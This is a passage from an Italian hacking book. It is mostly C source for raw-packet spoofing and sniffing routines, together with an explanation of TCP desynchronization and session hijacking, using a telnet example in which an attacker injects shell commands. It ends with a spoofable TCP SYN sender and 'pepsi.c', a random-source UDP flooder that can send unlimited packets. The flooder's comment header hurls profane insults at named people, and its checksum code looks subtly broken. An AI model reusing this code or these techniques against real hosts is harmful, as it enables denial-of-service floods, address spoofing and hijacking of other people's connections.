sp_help_udp = (struct UDP_header *) (sp->buffer+IP_HEAD_BASE+sp->IP_optlen);
sp_help_pseudo = (struct pseudo_IP_header *) sp_pseudo_ip_construct;

sp_help_udp->source = htons(sp->source_port);
sp_help_udp->destination = htons(sp->dest_port);
sp_help_udp->length = htons(sp->datalen+UDP_HEAD_BASE);

sp_help_pseudo->source = sp_getaddrbyname(sp->source);
sp_help_pseudo->destination = sp_getaddrbyname(sp->dest);



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

sp_help_pseudo->zero_byte = 0;
sp_help_pseudo->protocol = 17;
sp_help_pseudo->TCP_UDP_len = htons(sp->datalen+UDP_HEAD_BASE);

memcpy(sp_pseudo_ip_construct+12, sp_help_udp, sp->datalen+UDP_HEAD_BASE);
sp_help_udp->checksum=in_cksum((unsigned short *) sp_pseudo_ip_construct,
                                            sp->datalen+12+UDP_HEAD_BASE);
#ifdef DEBUG
       printf("UDP header fixed...\n");
#endif
}

void transmit_UDP (int sp_fd, char *sp_data,
                       int sp_ipoptlen, int sp_datalen,
                        char *sp_source, unsigned short sp_source_port,
                       char *sp_dest, unsigned short sp_dest_port)
{
char sp_buffer[1500];
struct sp_data_exchange sp_struct;

bzero(sp_buffer,1500);

if (sp_ipoptlen!=0)
       memcpy(sp_buffer+IP_HEAD_BASE,sp_data,sp_ipoptlen);
if (sp_data!=NULL)
       memcpy(sp_buffer+IP_HEAD_BASE+UDP_HEAD_BASE+sp_ipoptlen,
                                      sp_data+sp_ipoptlen,sp_datalen);
sp_struct.fd          = sp_fd;
sp_struct.data        = sp_data;
sp_struct.datalen     = sp_datalen;
sp_struct.source      = sp_source;
sp_struct.source_port = sp_source_port;
sp_struct.dest        = sp_dest;
sp_struct.dest_port   = sp_dest_port;
sp_struct.buffer      = sp_buffer;
sp_struct.IP_optlen   = sp_ipoptlen;
sp_struct.TCP_optlen = 0;

sp_fix_UDP_packet(&sp_struct);
sp_fix_IP_packet(&sp_struct, 17);
sp_send_packet(&sp_struct, 17);
}

/* This routine stolen from ping.c -- HAHAHA!*/
unsigned short in_cksum(unsigned short *addr,int len)
{
register int nleft = len;
register unsigned short *w = addr;
register int sum = 0;
unsigned short answer = 0;

while (nleft > 1)
        {
        sum += *w++;
        nleft -= 2;
        }
if (nleft == 1)
        {
        *(u_char *)(&answer) = *(u_char *)w ;
        sum += answer;
        }
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return(answer);
}




Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

/*************************                  Receiving              department
****************************/

int open_receiving (char *rc_device, char mode)
{
int or_fd;
struct sigaction rc_sa;
int fcntl_flag;
struct ifreq ifinfo;
char test;

/* create snoop socket and set interface promisc */
if ((or_fd = socket(AF_INET, SOCK_PACKET, htons(0x3)))==-1)
        perror("Couldn't open Socket."), exit(1);
strcpy(ifinfo.ifr_ifrn.ifrn_name,rc_device);
if(ioctl(or_fd,SIOCGIFFLAGS,&ifinfo)<0)
       perror("Couldn't get flags."), exit(1);
ifinfo.ifr_ifru.ifru_flags |= IFF_PROMISC;
if(ioctl(or_fd,SIOCSIFFLAGS,&ifinfo)<0)
       perror("Couldn't set flags. (PROMISC)"), exit(1);

if(mode&IO_HANDLE)
       {            /* install handler */
       rc_sa.sa_handler=rc_sigio;        /* we don't use signal()        */
       sigemptyset(&rc_sa.sa_mask);      /* because the timing window is */
       rc_sa.sa_flags=0;                 /* too big...                   */
       sigaction(SIGIO,&rc_sa,NULL);
       }

if(fcntl(or_fd,F_SETOWN,getpid())<0)
       perror("Couldn't set ownership"), exit(1);

if(mode&IO_HANDLE)
       {
       if( (fcntl_flag=fcntl(or_fd,F_GETFL,0))<0)
              perror("Couldn't get FLAGS"), exit(1);
       if(fcntl(or_fd,F_SETFL,fcntl_flag|FASYNC|FNDELAY)<0)
              perror("Couldn't set FLAGS"), exit(1);
         rc_fd_abc123=or_fd;
       }
else
       {
       if(mode&IO_NONBLOCK)
              {
              if( (fcntl_flag=fcntl(or_fd,F_GETFL,0))<0)
                     perror("Couldn't get FLAGS"), exit(1);
              if(fcntl(or_fd,F_SETFL,fcntl_flag|FNDELAY)<0)
                     perror("Couldn't set FLAGS"), exit(1);
              };
       };

#ifdef DEBUG
       printf("Reading socket ready\n");
#endif
return or_fd;
}

/* returns 0 when no packet read! */
int get_packet (int rc_fd, char *buffer, int *TCP_UDP_start,unsigned     char
*proto)
{
char help_buffer[MTU];
int pack_len;
struct IP_header *gp_IPhead;

pack_len = read(rc_fd,help_buffer,1500);
if(pack_len<0)
       {



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

       if(errno==EWOULDBLOCK)
              {pack_len=0;}
       else
              {perror("Read error:"); exit(1);}
       };
if(pack_len>0)
       {
       pack_len -= DEV_PREFIX;
       memcpy(buffer,help_buffer+DEV_PREFIX,pack_len);
       gp_IPhead = (struct IP_header *) buffer;
       if(proto != NULL)
              *proto = gp_IPhead->protocol;
       if(TCP_UDP_start != NULL)
              *TCP_UDP_start = (gp_IPhead->verlen & 0xF) << 2;
       }
return pack_len;
}

void wait_packet_timeout (int sig)
{
alarm(0);
WAIT_PACKET_WAIT_TIME=1;
}

int wait_packet(int wp_fd,struct sp_wait_packet *ret_values,
                 char *wp_source, unsigned short wp_source_port,
                 char *wp_dest, unsigned short wp_dest_port, int wp_flags,
             int wait_time)
{
char wp_buffer[1500];
struct IP_header *wp_iphead;
struct TCP_header *wp_tcphead;
unsigned long wp_sourcel, wp_destl;
int wp_tcpstart;
char wp_proto;

wp_sourcel=sp_getaddrbyname(wp_source);
wp_destl=sp_getaddrbyname(wp_dest);

WAIT_PACKET_WAIT_TIME=0;
if(wait_time!=0)
       {
       signal(SIGALRM,wait_packet_timeout);
       alarm(wait_time);
       }

while(1)
  {
  while(get_packet(wp_fd, wp_buffer, &wp_tcpstart, &wp_proto)<=0)
       {
       if (WAIT_PACKET_WAIT_TIME!=0)    {alarm(0); return -1;}
       };
  if(wp_proto == 6)
    {
    wp_iphead= (struct IP_header *) wp_buffer;
    wp_tcphead= (struct TCP_header *) (wp_buffer+wp_tcpstart);
                 if(    (wp_sourcel==wp_iphead->source)&&(wp_destl==wp_iphead-
>destination) )
      {
      if( (ntohs(wp_tcphead->source)==wp_source_port) &&
                                                            (ntohs(wp_tcphead-
>destination)==wp_dest_port) )
         {
         if( (wp_flags==0) || (ntohs(wp_tcphead->offset_flag)&wp_flags) )
           {
           ret_values->seq=ntohl(wp_tcphead->seq_nr);
           ret_values->ack=ntohl(wp_tcphead->ACK_nr);
           ret_values->flags=ntohs(wp_tcphead->offset_flag)&



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

                                            (URG|ACK|PSH|FIN|RST|SYN);
               ret_values->datalen = ntohs(wp_iphead->length) -
                                ((wp_iphead->verlen & 0xF) << 2) -
                                    ((ntohs(wp_tcphead->offset_flag) & 0xF000) >>
10);
               alarm(0);
               return 0;
               }
           }
       }
    }
  }
/*impossible to get here.. but anyways*/
alarm(0); return -1;
}


void close_receiving (void)
{
close(rc_fd_abc123);
}

void rc_sigio (int sig)                         /* Packet handling routine */
{
char rc_buffer[1500];
char packet_id [50];
unsigned char *rc_so, *rc_dest;
struct IP_header *rc_IPhead;
struct TCP_header *rc_TCPhead;
int pack_len;

if(RC_FILTSET==0) return;

if(SP_DATA_BUSY!=0)                  /* skip this packet */
       return;

pack_len = read(rc_fd_abc123,rc_buffer,1500);
rc_IPhead = (struct IP_header *) (rc_buffer + DEV_PREFIX);
if(rc_IPhead->protocol!=6) return;                         /* if not TCP */
rc_TCPhead = (struct TCP_header *) (rc_buffer + DEV_PREFIX + ((rc_IPhead-
>verlen & 0xF) << 2));

rc_so   = (unsigned char *) &(rc_IPhead->source);
rc_dest = (unsigned char *) &(rc_IPhead->destination);
sprintf(packet_id,"%u.%u.%u.%u.%u-%u.%u.%u.%u.%u",
             rc_so[0],rc_so[1],rc_so[2],rc_so[3],ntohs(rc_TCPhead->source),
                rc_dest[0],rc_dest[1],rc_dest[2],rc_dest[3],ntohs(rc_TCPhead-
>destination));

if(strcmp(packet_id,rc_filter_string)==0)
       {
       SP_DATA_BUSY=1;
       CUR_SEQ = ntohl(rc_TCPhead->seq_nr);
       CUR_ACK = ntohl(rc_TCPhead->ACK_nr);
         CUR_FLAGS = ntohs(rc_TCPhead->offset_flag);
       CUR_DATALEN = ntohs(rc_IPhead->length) -
                    ((rc_IPhead->verlen & 0xF) << 2) -
                       ((ntohs(rc_TCPhead->offset_flag) & 0xF000) >> 10);
       CUR_COUNT++;
       SP_DATA_BUSY=0;
       }
}

void set_filter (char *f_source, unsigned short f_source_port,
                 char *f_dest, unsigned short f_dest_port)
{
unsigned char *f_so, *f_des;
unsigned long f_sol, f_destl;



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book


RC_FILTSET=0;
if(DEV_PREFIX==9999)
       fprintf(stderr,"DEV_PREFIX not set!\n"), exit(1);
f_sol   = sp_getaddrbyname(f_source);
f_destl = sp_getaddrbyname(f_dest);
f_so    = (unsigned char *) &f_sol;
f_des   = (unsigned char *) &f_destl;
sprintf(rc_filter_string,"%u.%u.%u.%u.%u-%u.%u.%u.%u.%u",
                            f_so[0],f_so[1],f_so[2],f_so[3],f_source_port,
                          f_des[0],f_des[1],f_des[2],f_des[3],f_dest_port);
RC_FILTSET=1;
}



Stato di Desincronizzazione
La seguente spiegazione è orientata a spiegare               quello   che    è   il   concetto   di
desincronizzazione.
Per semplicità da adesso in poi indicheremo con:

SVR_SEQ    il   Sequence number del prossimo byte che il server spedirà
SVR_ACK    il   prossimo byte che il server si aspetta di ricevere
SRV_WND    la   grandezza della finestra di ricezione del server
CLT_SEQ    il   Sequence number del prossimo byte che il client spedirà
CLT_ACK    il   prossimo byte che il client si aspetta di ricevere
CLT_WND    la   grandezza della finestra di ricezione del client

In una situazione di "calma" durante una connessione, cioè un momento in cui non vengono
spediti dati da entrambe le parti, le seguenti equazioni sono vere:

SVR_SEQ = CLT_ACK e CLT_SEQ = SRV_ACK

Invece mentre sono trasferiti dei dati sono vere queste altre espressioni:

CLT_ACK <= SVR_SEQ <= CLT_ACK + CLT_WND
SRV_ACK <= CLT_SEQ <= SRV_ACK + SRV_WND

da cui si può capire che un pacchetto è accettabile se il suo Sequence number appartiene
all'intervallo [SRV_ACK, SRV_ACK + SRV_WIN] per il server e [CLT_ACK, CLT_ACK +
CLT_WIN] per il client.
Se il Sequence number supera o precede questo intervallo il pacchetto viene scartato e viene
spedito un pacchetto contenente nell'Acknowledgement number il Sequence number del
prossimo byte atteso.
Il termine desincronizzazione si riferisce ad una situazione in cui durante una connessione in
un periodo di "calma" sono vere le seguenti equazioni SVR_SEQ != CLT_ACK e CLT_SEQ !=
SRV_ACK (dove != sta a significare diverso).
Se una connessione si trovasse in una situazione di questo tipo e dei dati venissero spediti
da una delle parti potrebbero presentarsi due casi distinti:

- Se CLT_SEQ < SVR_ACK + SVR_WND e CLT_SEQ > SVR_ACK il pacchetto è accettabile
  e i dati vengono memorizzati per un uso futuro, ma non vengono processati.
- Se CLT_SEQ > SVR_ACK + SVR_WND o CLT_SEQ < SVR_ACK il pacchetto non è
  accettabile e viene scartato.

In pratica se una connessione è in questo stato i due host non possono scambiarsi dati.


Altra descrizione di attacco
La seguente descrizione proviene da un testo che gira sulla rete, uno dei tantissimi che sono
reperibili legati a questo argomento.
La situazione di attacco può essere rappresentata graficamente nel seguente modo:


Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book


A ------H---R------------ B            A e C = Host della stessa sottorete
        |                              B     = Host di una rete diversa da A e C
C ------+                              H     = HUB
                                       R     = Router che delimita la sottorete

Supponiamo che esista una connessione telnet da A verso B e che l'attaccante si trovi nella
postazione C.
Cosa succederebbe se quest'ultimo in un periodo di "calma" della connessione tra A e B
mandasse un pacchetto spoofato a B in modo da far credere che provenga da A?
Semplice, B aggiornerebbe l'Acknowledgement number di A (SVR_ACK) in base al pacchetto
ricevuto desincronizzandosi dal Sequence number reale di A (CLT_SEQ).
A questo punto i pacchetti spediti da A verranno scartati in quanto per B hanno un Sequence
number errato. Vediamo un esempio per capire meglio:

  SEQ=100 ACK=500 DATI=10    A spedisce un pacchetto contenente 10 Byte di Dati
A -----------------------> B Sequence number=100 e Acknowledgement number=500

B si aggiorna Sequence number e Acknowledgement number:

Sequence number = 500
Acknowledgement = 100 + 10


  SEQ=500 ACK=110 DATI=15    B spedisce un pacchetto contenente 15 Byte di Dati
A <----------------------- B Sequence number=500 e Acknowledgement number=110

Il pacchetto arriva ad A che si riaggiorna Acknowledgement number e Sequence number:

Sequence number = 110
Acknowledgement = 500 + 15

A questo punto si intromette l'attaccante con un pacchetto Spoofato, usando il Sequence
number e l'Acknowledgement number corretti.

     SEQ=110 ACK=515 DATI=20    C spedisce un pacchetto spoofato contenente
A(C) -----------------------> B 20 Byte di Dati Sequence number=110 e
                                Acknowledgement number=515

B si aggiorna Sequence number e Acknowledgement number:

Sequence number = 515
Acknowledgement = 110 + 20

A questo punto B è desincronizzato rispetto ad A in quanto il prossimo byte
che B si aspetta da A è il 130, mentre il Sequence number di A è a 110.
Quindi i pacchetti che A spedirà a B da questo momento in poi verranno scartati.
L'attaccante però sa cosa si aspetta B e perciò può mandare dei pacchetti creati
appositamente per essere accettati.
Ricordiamo che nel nostro esempio la connessione in corso era una sessione telnet, quindi
adesso l'attaccante può mandare comandi di shell a B come se fosse A.
C'è da notare che nell'esempio appena descritto non c'è una desincronizzazione da entrambe
le parti, infatti abbiamo che CLT_SEQ != SRV_ACK ma SVR_SEQ = CLT_ACK.
Quindi l'host A accetterà tutti i pacchetti spediti da B come risposta           ai comandi
dell'attaccante, e quindi vedrà tutto quello che questi sta facendo.
Per evitare ciò l'attaccante deve creare una situazione di desincronizzazione anche nell'altro
senso di trasmissione spedendo un pacchetto spoofato ad A come se provenisse da B.
Ricordiamo che essendo l'attaccante nella stessa sottorete di A é in grado di vedere l'output
dei propri comandi sniffando i pacchetti di risposta spediti da B.
Ci sono varie tecniche per ottenere la desincronizzazione di una connessione.
Quella vista nell'esempio è quella usata solitamente e consiste appunto nello spedire un
pacchetto spoofato contenente dei dati sia al server che al client.



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

Più è grande il numero di byte spediti in questi pacchetti e più è grande la desincronizzazione
che si andrà a creare tra i due host.
Esiste comunque un secondo e più raffinato metodo di desincronizzazione, che consiste
nell'intromettersi nel protocollo three-way handshake usato per creare una connessione. Il
funzionamento si può sintetizzare in 4 punti:

1 - L'attaccante aspetta di ricevere il pacchetto SYN/ACK, proveniente dal   server e diretto
verso il client (secondo passo del three-way handshake), della connessione da
desincronizzare.
2 - Appena lo ha identificato spedisce un pacchetto di RST (Spoofato) verso il server e
immediatamente dopo uno di SYN (sempre Spoofato) con gli stessi parametri (porta TCP e
indirizzo IP) usati per la connessione da desincronizzare, ma con un differente Sequence
number.
3 - Il server chiuderà la prima connessione grazie al pacchetto RST, e ne aprirà una uguale
ma con un Sequence number diverso, spedendo il pacchetto         SYN/ACK.
4 - L'attaccante non appena identifica quest'ultimo, spedisce il pacchetto ACK necessario a
completare l'instaurazione della connessione.

A questo punto la connessione è aperta, ma è in uno stato di desincronizzazione in quanto
per il client il Sequence number corretto è quello che era presente nel pacchetto SYN/ACK
intercettato dall'attaccante al punto 1, mentre per il server quello corretto è quello introdotto
dall'attaccante nel punto 2.

L’ultimo sorgente è una dimostrazione utilizzante WINSOCK2 che mostra come inviare TCP
SYN.

/*
      lowlevel: WinSock Extension example (TCP syn)
      author: dbl-dipper
      requirements: wINJECT must be running, a compiler with wsock32.lib and
                    then you must own a brain.

  Description: Shows how to send tcp syn packs.
                 : This can be made into a scanner when the "Raw_Reading"
feature
             : is ready.

 -[Flooding "turned off" by moofz..]-
*/

#include   <windows.h>
#include   <winsock.h>
#include   <stdlib.h>
#include   <stdio.h>

#define IP_TTL 7

struct IP_Header
 {
    unsigned IP_Hdrlen:4;               /*   IP Header Length */
    unsigned IP_Vers:4;                 /*   IP Version */
    u_char   IP_Tos;                    /*   Type of Service */
    u_short IP_Len;                     /*   Total Length */
    u_short IP_Id;                      /*   Identification */
    u_short IP_FragOff;                 /*   Fragment Offset */
    u_char   IP_Ttl;                    /*   Time To Live */
    u_char   IP_Proto;                  /*   Protocol */
    u_short IP_Checksum;                /*   Checksum */
    struct   in_addr IP_Source;         /*   Source Address */
    struct   in_addr IP_Dest;           /*   Destination Address */
 };

struct TCP_Header
 {
      u_short TCP_sport;



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

       u_short    TCP_dport;
       int        TCP_seq;
       int        TCP_ack;

       unsigned TCP_resv1:4;
       unsigned TCP_hlen:4;

       unsigned   TCP_f_fin:1;
       unsigned   TCP_f_syn:1;
       unsigned   TCP_f_reset:1;
       unsigned   TCP_f_push:1;
       unsigned   TCP_f_ack:1;
       unsigned   TCP_f_urg:1;
       unsigned   TCP_resv2:2;

       u_short    TCP_win;
       u_short    TCP_cksum;
       u_short    TCP_urgp;
};

struct Pseudo_Header
 {
    u_long ps_sip;
    u_long ps_dip;
    u_char ps_zero;
    u_char ps_proto;
    u_short ps_len;
};

#define IPH_SIZE sizeof(struct IP_Header)
#define TCPH_SIZE sizeof(struct TCP_Header)
#define PACKETSIZE IPH_SIZE + TCPH_SIZE // TOTAL LENGTH

u_short ip_checksum(u_short*, int, u_long, int);
int SendRawPack(char*, char*, int, int);

WSADATA wsa;
SOCKET sd;

int main(int argc, char **argv)
{
    int ttl;

     printf("WinSock Extension example\nAuthor: dbl-dipper\n\n");

     if(argc != 5)
      {
        printf("- Usage: <src_ip> <dst_ip> <src_port> <dst_port>\n");
        return -1;
      }

     if (WSAStartup(MAKEWORD(1, 1), &wsa) != 0)
      {
        printf("This needs WinSock 1.1 or better...\n");
        return -1;
      }

     sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
     if (sd == INVALID_SOCKET)
      {
         printf("Problem with socket()...\n");
         WSACleanup();
         return -1;
      }

    ttl = 0;   // MUST be 0 !! (sounds crazy but it works)
     if (setsockopt(sd, IPPROTO_IP, IP_TTL, (const char*)&ttl, sizeof(ttl))
== SOCKET_ERROR)



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

       {
        printf("Problem with setsockopt()...\n");
        WSACleanup();
        return -1;
       }

// for(ttl = 0; ttl < 100; ttl++)
  SendRawPack(argv[1], argv[2], 1024+ttl, 80);

    printf("\n");
    closesocket(sd);
    WSACleanup();

    return 1;
}

int SendRawPack(char *src_ip, char *dst_ip, int sport, int dport)
{
      struct IP_Header     *iphdr;
      struct TCP_Header    *tcphdr;
      struct Pseudo_Header *pseudohdr;
      u_char *packet;
      u_char psbuf[16];
      struct sockaddr_in dest;
      int res;

       // Initialize:
       memset(&dest, 0, sizeof(dest));
       memset(&psbuf, 0, 16);

       // MUST be 200.200.200.200 to ensure that the packet gets out:
       // Note: this is not the IP that will get the REAL packet!
       dest.sin_addr.s_addr = inet_addr("200.200.200.200");
       dest.sin_family = AF_INET;

        packet = (u_char *)malloc(PACKETSIZE+1);
        if (!packet)
         {
           printf("Problem with buffer allocation...\n");
           return -1;
         }

 // ---------- from this line YOU decide what to send!

       // fill ip:
       iphdr = (struct IP_Header *)(packet);
       iphdr->IP_Vers = 4;                           // ip version
       iphdr->IP_Hdrlen = 5;                         // header len:
       iphdr->IP_Tos = 0;                            // type of service
        iphdr->IP_Len= htons(PACKETSIZE);               // total length   (max =
548)
     iphdr->IP_Id = htons(1);                    // identification
     iphdr->IP_FragOff = 0;                      // fragment offset field
     iphdr->IP_Ttl = 255;                        // time to live
     iphdr->IP_Proto = 6;                        // protocol
     iphdr->IP_Checksum = 0;                     // checksum
      iphdr->IP_Source.s_addr = inet_addr(src_ip); // source address (u can
spoof!)
     iphdr->IP_Dest.s_addr = inet_addr(dst_ip);  // destination address

       iphdr->IP_Checksum = ip_checksum((u_short*)iphdr, IPH_SIZE, 0, 1);

       tcphdr = (struct TCP_Header *)(packet+IPH_SIZE);

       tcphdr->TCP_sport   = htons(sport);
       tcphdr->TCP_dport   = htons(dport);
       tcphdr->TCP_seq =   htonl(1);
       tcphdr->TCP_ack =   0;



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

      tcphdr->TCP_hlen = TCPH_SIZE / 4;
      tcphdr->TCP_resv1 = 0;
      tcphdr->TCP_resv2 = 0;
      tcphdr->TCP_f_urg = 0;
      tcphdr->TCP_f_ack = 0;
      tcphdr->TCP_f_push = 0;
      tcphdr->TCP_f_reset = 0;
      tcphdr->TCP_f_syn = 1;
      tcphdr->TCP_f_fin = 0;
      tcphdr->TCP_win = htons(16384);
      tcphdr->TCP_cksum = 0;
      tcphdr->TCP_urgp = 0;

       pseudohdr = (struct Pseudo_Header *)&psbuf;

      pseudohdr->ps_sip = inet_addr(src_ip);
      pseudohdr->ps_dip = inet_addr(dst_ip);
      pseudohdr->ps_zero = 0;
      pseudohdr->ps_proto = iphdr->IP_Proto;
      pseudohdr->ps_len = htons(20);

     tcphdr->TCP_cksum = ip_checksum((u_short*)tcphdr, 20, 0, 0);
         tcphdr->TCP_cksum = ip_checksum((u_short*)pseudohdr, 12,        tcphdr-
>TCP_cksum, 1);

            res   =  sendto(sd,    (char*)packet,     PACKETSIZE,   0,   (struct
sockaddr_in*)&dest, sizeof(dest));
    if (res == SOCKET_ERROR)
     {
       printf("Problem with sendto()\n");
       return -1;
     }

      // printf(".");
      printf("Sent %d of %d\n", res, PACKETSIZE);

    free(packet);
    return 1;
}

u_short ip_checksum(u_short* buffer, int size, u_long klyt, int full)
{
    unsigned long cksum = klyt;

      // Sum all the words together, adding the final byte if size is odd
      while (size > 1)
       {
         cksum += *buffer++;
         size -= sizeof(u_short);
       }

      if(size) cksum += *(UCHAR*)buffer;

      if(full == 0)
       return cksum;

      // Do a little shuffling
      cksum = (cksum >> 16) + (cksum & 0xffff);
      cksum += (cksum >> 16);

      // Return the bitwise complement of the resulting mishmash
      return (u_short)(~cksum);
}

Un altro flooder è quello che segue:

/*
 * pepsi.c



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

 * Random Source Host UDP flooder
 *
 * Author: Soldier@data-t.org
 *
 * [12.25.1996]
 *
 * Greets To: Havok, nightmar, vira, Kage, ananda, tmw, Cheesebal, efudd,
  * Capone, cph|ber, WebbeR, Shadowimg, robocod, napster, marl, eLLjAY,
fLICK^
 * Toasty, [shadow], [magnus] and silitek, oh and Data-T.
 *
 * Fuck You to: Razor1911 the bigest fucking lamers in the warez comunity,
 * Yakuza for ripping my code, #cha0s on the undernet for trying to port
 * it to win95, then ircOpers on efnet for being such cocksuckers
 * especially prae for trying to call the fbi on me at least 5 times.
 * all warez pups i don't know for ripping off honest programers.
 * and Dianora for being a lesbian hoe, Srfag..err SrfRog for having an ego
 * the size of california.
 * AND A BIG HUGE ENORMOUS FUCK YOU TO myc, throwback, crush, asmodean,
Piker,
 * pireaus, A HUGE FUCKING FUCK to texas.net, and the last HUGEST FUCK IN
 * INTERNET HISTORY, AMM.
 *
 *
 * Disclaimer since i don't wanna go to jail
 *   - this is for educational purposes only
 *
 */

/* [Defines] */

#define   FRIEND "My christmas present to the internet -Soldier"
#define   VERSION "Pepsi.c v1.6"
#define   DSTPORT 7
#define   SRCPORT 19
#define   PSIZE 1024
#define   DWAIT 1

/* [Includes] */

#include   <unistd.h>
#include   <stdlib.h>
#include   <string.h>
#include   <netdb.h>
#include   <stdio.h>
#include   <sys/types.h>
#include   <sys/socket.h>
#include   <netinet/in.h>
#include   <netinet/in_systm.h>
#include   <netinet/ip.h>
#include   <netinet/tcp.h>
#include   <netinet/protocols.h>
#include   <arpa/inet.h>
#include   <netdb.h>
#include   <signal.h>
#include   <netinet/ip_udp.h>
#include   <string.h>
#include   <pwd.h>


/* [Banner] */

void banner()
{
    printf("\t\t\t%s Author - Soldier \n", VERSION);
    printf("\t\t\t         [10.27.96]    \n\n");
    printf("This Copy Registered to: %s\n\n", FRIEND);
}



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book




/* [Option Parsing] */

struct sockaddr_in dstaddr;

unsigned long dst;

struct udphdr *udp;
struct iphdr *ip;

char *target;
char *srchost;

int   dstport = 0;
int   srcport = 0;
int   numpacks = 0;
int   psize = 0;
int   wait = 0;

/* [Usage] */

void usage(char *pname)
{
    printf("usage:\n ");
     printf("%s [-s src]    [-n num] [-p size] [-d port] [-o port] [-w wait]
<dest>\n\n", pname);
    printf("\t-s <src>      :   source where packets are comming from\n");
    printf("\t-n <num>      :   number of UDP packets to send\n");
    printf("\t-p <size>     :   Packet Size               [Default is 1024]\n");
    printf("\t-d <port>     :   Destination Port           [Default is %.2d]\n",
DSTPORT);
    printf("\t-o <port>     : Source Port                   [Default is   %.2d]\n",
SRCPORT);
    printf("\t-w <time>     : Wait time between packets [Default is        1]\n");
    printf("\t<dest>        : destination \n");
    printf("\n");
    exit(EXIT_SUCCESS);
}

/* [In chksum with some mods] */

unsigned short in_cksum(addr, len)
u_short *addr;
int len;
{
    register int nleft = len;
    register u_short *w = addr;
    register int sum = 0;
    u_short answer = 0;

      while (nleft > 1) {
         sum += *w++;
         sum += *w++;
         nleft -= 2;
      }

      if (nleft == 1) {
         *(u_char *) (&answer) = *(u_char *) w;
         sum += answer;
      }
      sum = (sum >> 17) + (sum & 0xffff);
      sum += (sum >> 17);
      answer = -sum;
      return (answer);
}




Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

/* Resolve Functions */

unsigned long resolve(char *cp)
{
    struct hostent *hp;

    hp = gethostbyname(cp);
    if (!hp) {
       printf("[*] Unable to resolve %s\t\n", cp);
        exit(EXIT_FAILURE);
    }
    return ((unsigned long) hp->h_addr);
}

void resolvedest(void)
{
    struct hostent *host;

    memset(&dstaddr, 0, sizeof(struct sockaddr_in));
    dstaddr.sin_family = AF_INET;
    dstaddr.sin_addr.s_addr = inet_addr(target);
    if (dstaddr.sin_addr.s_addr == -1) {
       host = gethostbyname(target);
       if (host == NULL) {
           printf("[*] Unable To resolve %s\t\n", target);
            exit(EXIT_FAILURE);
       }
       dstaddr.sin_family = host->h_addrtype;
       memcpy((caddr_t) & dstaddr.sin_addr, host->h_addr, host->h_length);
    }
    memcpy(&dst, (char *) &dstaddr.sin_addr.s_addr, 4);
}

/* Parsing Argz */

void parse_args(int argc, char *argv[])
{
    int opt;

    while ((opt = getopt(argc, argv, "s:d:n:p:w:o:")) != -1)
       switch (opt) {
       case 's':
           srchost = (char *) malloc(strlen(optarg) + 1);
           strcpy(srchost, optarg);
           break;
       case 'd':
           dstport = atoi(optarg);
           break;
       case 'n':
           numpacks = atoi(optarg);
           break;
       case 'p':
           psize = atoi(optarg);
           break;
       case 'w':
           wait = atoi(optarg);
           break;
       case 'o':
           srcport = atoi(optarg);
           break;
       default:
           usage(argv[0]);
       }

    if (!dstport)
       dstport = DSTPORT;
    if (!srcport)
       srcport = SRCPORT;



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

    if (!psize)
       psize = PSIZE;
    if (!wait)
       wait = DWAIT;
    if (!argv[optind]) {
       puts("[*] Specify a target host, doof!");
       exit(EXIT_FAILURE);
    }
    target = (char *) malloc(strlen(argv[optind]));
    if (!target) {
       puts("[*] Agh! Out of memory!");
        perror("malloc");
       exit(EXIT_FAILURE);
    }
    strcpy(target, argv[optind]);
}

/* [Send Packet] */

void main(int argc, char *argv[])
{
    int sen, i, unlim = 0, sec_check;
    char *packet;

    banner();

    if (argc < 2)
       usage(argv[0]);


    parse_args(argc, argv);

    resolvedest();

    printf("# Target Host          : %s\n", target);
    printf("# Source Host          : %s\n",
          (srchost && *srchost) ? srchost : "Random");
    if (!numpacks)
       printf("# Number               : Unliminted\n");
    else
       printf("# Number               : %d\n", numpacks);
    printf("# Packet Size          : %d\n", psize);
    printf("# Wait Time            : %d\n", wait);
    printf("# Dest Port            : %d\n", dstport);
    printf("# Source Port          : %d\n", srcport);

    sen = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
    packet = (char *) malloc(sizeof(struct iphdr) +
                         sizeof(struct udphdr) +
                         psize);
    ip = (struct iphdr *) packet;
    udp = (struct udphdr *) (packet + sizeof(struct iphdr));
    memset(packet, 0, sizeof(struct iphdr) + sizeof(struct udphdr) + psize);

    if (!numpacks) {
       unlim++;
       numpacks++;
    }
    if (srchost && *srchost)
       ip->saddr = resolve(srchost);
    ip->daddr = dst;
    ip->version = 4;
    ip->ihl = 5;
    ip->ttl = 255;
    ip->protocol = IPPROTO_UDP;
       ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct udphdr) +
psize);
    ip->check = in_cksum(ip, sizeof(struct iphdr));



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

        udp->source = htons(srcport);
        udp->dest = htons(dstport);
        udp->len = htons(sizeof(struct udphdr) + psize);

        for (i = 0; i < numpacks; (unlim) ? i++, i-- : i++) {
           if (!srchost)
               ip->saddr = rand();

            if (sendto(sen, packet, sizeof(struct iphdr) +
                      sizeof(struct udphdr) + psize,
                      0, (struct sockaddr *) &dstaddr,
                      sizeof(struct sockaddr_in)) == (-1)) {
                puts("[*] Error sending Packet");
                perror("SendPacket");
                exit(EXIT_FAILURE);
            }
            usleep(wait);
        }
}



Smurf
